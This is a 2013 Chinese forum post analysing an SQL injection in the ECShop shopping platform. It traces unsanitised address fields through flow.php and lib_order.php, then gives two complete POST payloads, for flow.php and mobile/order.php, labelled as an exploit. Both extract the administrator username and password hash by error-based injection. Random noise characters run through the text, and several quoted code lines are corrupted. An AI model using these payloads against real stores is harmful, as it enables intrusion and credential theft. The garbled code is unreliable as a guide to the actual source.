找回密码
 立即注册
查看: 2638|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
/ [% Q0 m( K% w, r! \+ ~
2 t/ I/ Q# d. \1 b, {8 t& `* y    漏洞关键文件:2 s$ C, r) _5 c  U

: B) _* \6 T! b% \" ]    /includes/lib_order.php; `) m# v  f+ z; E
% z2 ^% B1 _# o4 K* l
    关键函数:
4 k. @) z+ A# @; B
6 i3 d0 m. ?1 {6 ]) ~
. h* P# N6 _/ E" `/ z. S' U0 g: E7 K6 E  Z: _3 {; N- D* h
01     function available_shipping_list($region_id_list) . D* }) p) D7 T: h: p4 Q$ x6 P

6 y% \+ R1 C4 m02 {
9 L8 W/ U/ z" B' X9 V6 b) \
  M2 B. y# x  r; b1 j. [, B  b03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
% h4 e/ Y+ |% A4 B. I1 L& h2 o. b
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . , }5 v1 {$ t* U' M6 U$ F  C

# L! m# G+ C- L$ Z, R05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
- c4 h: b( d' t6 P# L, K4 G& ]) I. b0 \1 w3 h9 Z
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
7 f- |+ m$ G+ `- w: p8 \3 e2 B% }. W( _' ~) M& c
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
  p) I! i7 w. G2 T# d4 M% o' B5 s" i6 I, B# T9 a% q
08             'WHERE r.region_id ' . db_create_in($region_id_list) . 8 B$ L6 J4 ?4 X" p2 R" K

" I: J% p# G! |3 p3 Z09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
% ?4 H7 p) O+ c
6 z& k" L: m$ N8 P3 }# T- s10   ! Q7 l. O, z3 N7 S, V# `- C
9 Z& b9 X. G/ \& b: b3 Y# r
11     return $GLOBALS['db']->getAll($sql); & _+ J# j9 ], M; V: S+ t3 s
! I; v3 G& m5 r, X' c9 V
12 } 4 o0 ?: P" Z3 e2 e# h! v9 n! c1 l

4 j' q% J8 x$ N$ E显然对传入的参数没有任何过滤就带入了查询语句。
9 N6 _" b0 N& g; l! f1 Q4 r1 E " T6 ?7 b6 }6 ?, {  X0 l
下面我们追踪这个函数在flow.php中:
) ^* O& h8 h  T. X& }9 S7 | 第531行:   $ R! \% C) t- y6 F
( W8 T7 D& y) W) C3 u
1 $shipping_list     = available_shipping_list($region);
5 y" F; q: F& i- n: y
. L; D6 U1 W. R! e9 X% V 7 e4 M" I! k0 h# v

. g2 c* n( n9 I$ [3 ]
( }' L+ N! N/ E* f4 O8 s* t# m7 o; I; G
再对传入变量进行追踪:; u0 i9 [0 Y% ^  c, L. `
; @1 p+ R, g( ~: {& n( w
第530行:    $ W: U1 ]: v% E& S& W
( U, Q& [+ v3 D4 }* c
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); - W8 q% U& B9 E! V4 ?: a, c3 |
# V( n3 L: X. u/ ]0 n
: Q% S& e, T4 e' K

( X6 s4 S! G" H8 }4 c ; h( _* F: ^& a" r5 W. f* a9 S: ]

4 K  N/ ^: ]: y' [. [" |; Q第473行:        ) X' y0 y' g* M5 j6 i
9 w6 |  Y3 ~* O) H0 P9 w0 G
1 $consignee = get_consignee($_SESSION['user_id']); / U9 c8 J: N7 G3 c2 \8 N  b' ]2 }
4 a$ p7 s) ~& X$ j# C: I& W3 E
到了一个关键函数:
4 @+ x9 C( }) P4 z, x+ h$ ~* Y$ ^1 \5 Y6 M
/includes/lib_order.php
8 A. X9 F5 P) g2 i' F0 F! C" R1 p( |6 ~( ]; P# k! m) u
6 I: U- s* H; P
3 w8 g. Y# Z4 ]3 E  g7 G% V

6 g$ z$ z& R# P
4 A! t8 F9 n4 t01 function get_consignee($user_id)
* p( \/ a' O2 P2 z. \/ g/ Z1 }) e% u7 E/ q" E2 ~) v% }8 |
02 { & X  g' A- I1 n
# d" D# z% d6 E$ H& x/ x' V2 W& G
03     if (isset($_SESSION['flow_consignee']))
7 o! y2 a( R! l
( O8 R" c  v' T$ [9 [$ |04     {
) `+ \& }) Q+ Y, a& }( _" O, t  b6 \( b5 ^6 t: Y; w: ~
05         /* 如果存在session,则直接返回session中的收货人信息 */ . m) v8 {' r: U- e% s4 C
0 d9 ?$ U3 t* v4 U- T
06   
9 P2 g; C) L: c
1 M  \0 _( h0 H: x3 y: J07         return $_SESSION['flow_consignee'];
6 t* `3 p, T" T( G% L) q' [' w( q# k$ a' U/ I, Y- I# A. a9 z+ ~
08     }
: m6 e3 W# u! R+ j- w4 [. M, \% z6 s& J2 h. R4 G7 T
09     else 1 k! Y/ ~, B, ~

. C+ o, q! ~6 D% ]) ?10     { . T( y! A' H/ f
9 F# c( }% R3 Q/ Q: Y4 J2 d$ P
11         /* 如果不存在,则取得用户的默认收货人信息 */
* O6 v5 e2 j. z$ Z' G+ K% \9 I7 Z; b
12         $arr = array(); 2 N) c. i7 G9 C5 @$ w4 u

! k3 a2 S, a* v" K9 n, c8 r' H13   6 U7 k' s) ?2 D; j: z" E

: r8 A& `) ?) S/ S* j/ m! h14         if ($user_id > 0) . |! |5 v- y0 z' h' \

  r( V: a6 Q: P' {% I15         {
6 |0 j! L9 h' R) H3 S# I: z$ g1 q5 G( b
16             /* 取默认地址 */
5 |8 V7 D. f0 N8 V4 ]- c- S: x' I
17             $sql = "SELECT ua.*".
3 q2 V, l" l7 `, |6 ~
- c/ K5 n/ b2 F# A- C: f0 V; C% a18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
1 d# H6 V- g; T
; E8 T; i6 x/ D* i) k: z/ D$ i19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 3 V: C; C+ I: T: x1 l

% ~' r" J$ _3 V/ U  z* g. U/ o20   8 h5 I- L' ^" F  _
  i# i5 W2 u& z' h- h9 b
21             $arr = $GLOBALS['db']->getRow($sql);
* u9 G( k9 |7 b5 G' t2 ]
0 N* e7 b3 H# h2 v& Y$ S$ H22         }
; S1 {0 Q" Q! B9 z0 o
6 u4 e$ J9 H. }+ q7 Z23   
  c, J: b/ A3 J$ x3 {% V9 M& d% U$ d1 a9 j' C+ {
24         return $arr;
) N# t, [" T4 J6 s5 g
* y, L2 |7 |0 a25     } 7 N. c% ?* x0 k$ m- d

) X1 F- B" W& R6 x) R' V0 q6 i: g& v26 }
- I! J2 {7 M6 s7 Y" j6 S/ v+ B* R0 r7 j; K
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
  o. i" s& H' V* g, [$ N; L3 H
8 x* l) n. {, W4 b 6 e. u0 ], p6 z: u) S
( i, t3 q; H1 r- T4 p' E5 b
关键点:  |; s+ _2 c$ x  l0 ~
3 s( \: X; b8 G0 d2 E
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);) J. ^: y, A- d+ H3 s$ N' L
6 i" ], {2 E; j3 t5 c- F1 ^
这里对传入参数反转义存入$_SESSION中。
; d- K! A% y; f( A8 |7 P
7 O* U6 j5 o" g5 I  |5 C; Y, b, }
$ B2 U4 N' p9 k; B) D1 C& O6 `( |4 M
然后看下:
: l4 {/ D( c, L% D- w( _' _
, t* a) R. }" c# B2 l/ r3 m# ?- j, C7 ?
' F0 r3 Y4 x9 b$ |+ [5 f5 I4 T& b( n- M) r" g
    8 q- Q! z1 q# r
$ e$ {: f& ^0 ]1 F4 @
01 $consignee = array( 4 w- B4 A' a  E$ q/ D5 R! ^0 @

8 g+ ?8 w' V' o8 d' P/ u02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
% g0 [+ H7 H5 q/ x$ z& v6 z, D! a; L; s  q
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
4 @) \$ ?: A: u2 P. E" }8 Z  [$ W( t& q$ e% n8 {1 D9 b$ M/ ?7 z4 r
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
6 D  [, a) u7 y3 D# |' j# y
' \1 u/ U9 Q0 l05         'province'      => empty($_POST['province'])   ? '' _POST['province'], 6 X. o9 G. _3 b- |* k; w2 L
: i) M8 X, ]6 g2 R2 _3 B$ V
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
8 T2 c5 T% ~+ T1 _+ p
% `! A, q" E1 a, I3 P' R6 d07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
  j3 u6 q: e: @! o5 r( }3 Q
# l# c5 V, L; j$ b" M3 z. J, \08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
. G% r# ^6 q+ T8 w: \: a9 B! g
& g6 M& C9 y7 M09         'address'       => empty($_POST['address'])    ? '' _POST['address'], $ h, n& A# k# D0 a1 Q

3 F! P) C+ Q; S7 A10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
$ j% }9 \* Q% O' `  J
5 P2 L3 n6 W; u' g11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
0 A8 N  u" w6 [- y. J; X( `! N  F
* X- D7 x5 r" o1 x- e' S8 b& m12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), 7 ^  _4 p$ P7 B# d+ h; P+ Q
+ e/ \& N3 t2 Y1 m/ A
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], / j  |" A$ W; G8 Y
& q0 G3 G% k4 l8 o# A! b7 P0 }
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
- v" U  y* v$ `9 [8 U
! _/ H. o) a' F' m9 N- b15     ); ' d* D) r( @1 r5 A+ Z) u
5 W# \8 J5 h( [: x3 L% g  T
好了注入就这样出现了。
$ W8 A+ f) L' k7 Z3 I# u' S9 u% p+ E- C8 p
==================
$ H2 E: D3 C3 n# M% n/ P$ |; N1 Q! i2 \' ]6 _" Z
注入测试:
  r( R* ]: n4 T2 L, @) J% T" X! s8 }" N% Y4 x$ `
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
, o5 W  I& y( q2 X$ t3 t
2 W- [3 C* }8 g. m/ L测试程序:ECShop_V2.7.3_UTF8_release11065 o* Y; O$ y& b) N; n+ Z

  l" U) J0 K8 Z( k! }6 g3 q) U  W ( E, U5 Z; m0 h( M4 b6 a& ~- j

: s4 C' P' d1 n3 _; I1.首先需要点击一个商品加入购物车
: x6 e* N( q- F$ K
. J% ]$ _, ?1 w! G- N/ Q2.注册一个会员帐号
. W6 o: P9 K4 L5 \- ^" R
0 Y  t- w3 {+ n0 D8 m* z3.post提交数据4 e$ s) F+ h# h: k6 v* W5 G9 a' T

4 {$ Q# z" [$ b, c1 X& P# i: f
/ V$ n) J% r2 }9 l' ~! j6 p: g" T7 \6 k& D  @
1 http://127.0.0.1/ecshop/flow.php 9 w- u) p$ V+ c: m8 J

, z& w; B( [  K2 g2   
5 `+ {9 ]+ o8 \1 X' W6 g. D$ L7 R8 `+ m
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
6 ~/ n4 [4 @( h举一反三,我们根据这个漏洞我们可以继续深入挖掘:
* f6 S% o. p2 z5 G* ]- q: S/ b7 v; [9 B8 F6 G0 @+ e" E. t
我们搜寻关键函数function available_shipping_list()
0 s8 Q* f* ]' b7 Y- T
0 D! f1 I1 T" N# J. c6 }( d在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同' j0 C% q! N! D
2 U. E$ L) ^0 K. Y1 O" Y
利用exp:# S' t. y' T( N- [
4 \# x  t$ U! g9 w0 X: o1 R# V
1.点击一个商品,点击购买商标- h/ V2 C! O1 E5 K
( f+ i0 ]. M# A) |1 q7 z/ M  I
2.登录会员帐号
0 f, w2 Z) g" ?, L: d# ]! A) ]% [- ]$ }
3.post提交:
- C/ a: }  Y( d/ _  |( F+ n% Q; }" K- t- t( O, \/ A% I
http://127.0.0.1/ecshop/mobile/order.php
) y) I: a1 \; P1 M( x6 V7 }; ~; q+ [" J. J4 W

5 b! w, S4 f9 s" P; J* {2 ?6 @. {( v. ]6 B' N7 R2 ?' }
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
2 D7 S! L$ H3 T6 R+ u- m1 i0 U3 a2 \' K5 p8 Z. V3 `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表